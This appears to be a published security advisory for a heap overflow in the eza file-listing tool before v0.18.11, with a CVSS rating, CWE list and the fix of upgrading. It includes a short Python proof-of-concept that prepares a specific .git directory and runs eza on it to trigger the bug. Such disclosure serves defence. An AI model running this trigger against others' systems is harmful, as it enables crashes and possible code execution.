Summary#

In eza ¹ (before v0.18.11), there exists a heap overflow vulnerability, first seen when using Ubuntu for Raspberry Pi series system, on ubuntu-raspi kernel, relating to the .git directory.

Details#

The vulnerability seems to be triggered by the .git directory in some projects. This issue may be related to specific files, and the directory structure also plays a role in triggering the vulnerability. Files/folders that may be involved in triggering the vulnerability include .git/HEAD, .git/refs, and .git/objects.

PoC - If you have Raspberry Pi 4B bare metal machine#

If you don’t have Raspberry Pi bare metal, you can try emulate a ubuntu for raspberry system in virtual machine.

You just need install any one of Ubuntu for Raspberry Pi series system in your bare metal machine.

1
eza version: v0.18.10 [+git]
2

3
Linux lux 5.15.0-1049-raspi #52-Ubuntu SMP PREEMPT Thu Mar 14 08:39:42 UTC 2024 aarch64 aarch64 aarch64 GNU/Linux
4

5
Distributor ID: Ubuntu
6
Description: Ubuntu 22.04.4 LTS
7
Release: 22.04
8
Codename: jammy

Steps#

Install eza (<=v0.18.10) in Raspberry Pi. Process can refer to the official wiki.

1
#!/usr/bin/env python3
2

3
import os
4
import shutil
5
import subprocess
6

7
# Step 1: Clone the repository
8
repo_url = "https://github.com/umami-software/umami.git"
9
subprocess.run(["git", "clone", repo_url])
10

11
# Step 2: Checkout to the specific commit contain the special '.git' directory that can trigger the vulnerability
12
repo_dir = "umami"
13
commit_hash = "a38baa5"
14
os.chdir(repo_dir)
15
subprocess.run(["git", "checkout", commit_hash])
16

17
# Step 3: Create a directory for the vulnerability related files
18
os.chdir("..")
19
os.mkdir("suspicious")
20
shutil.move(os.path.join(repo_dir, ".git"), "suspicious/.git")
21

22
# Step 4: Remove unrelated files/directories
23
shutil.rmtree(repo_dir)
24

25
# Step 5: Trigger the vulnerability
26
subprocess.run(["eza", "-l", "--git", "suspicious/.git"])

NOTE

The picture shows my test environment. In actual testing, the vulnerability can be triggered by just using the above script.

Impact#

Arbitrary code execution.

Severity using CVSS#

Severity: High 8.4
Vector string: CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Weaknesses#

• Heap-based Buffer Overflow (CWE-122)
• Improper Restriction of Operations within the Bounds of a Memory Buffer (CWE-119)
• Missing Release of Memory after Effective Lifetime (CWE-401)
• Improper Resource Shutdown or Release (CWE-404)
• Improper Initialization (CWE-665)

GitHub Advisories#

• GitHub Advisories.²

NIST#

• National Vulnerability Database.³

Solution#

Update eza to 0.18.11 or higher version.

References#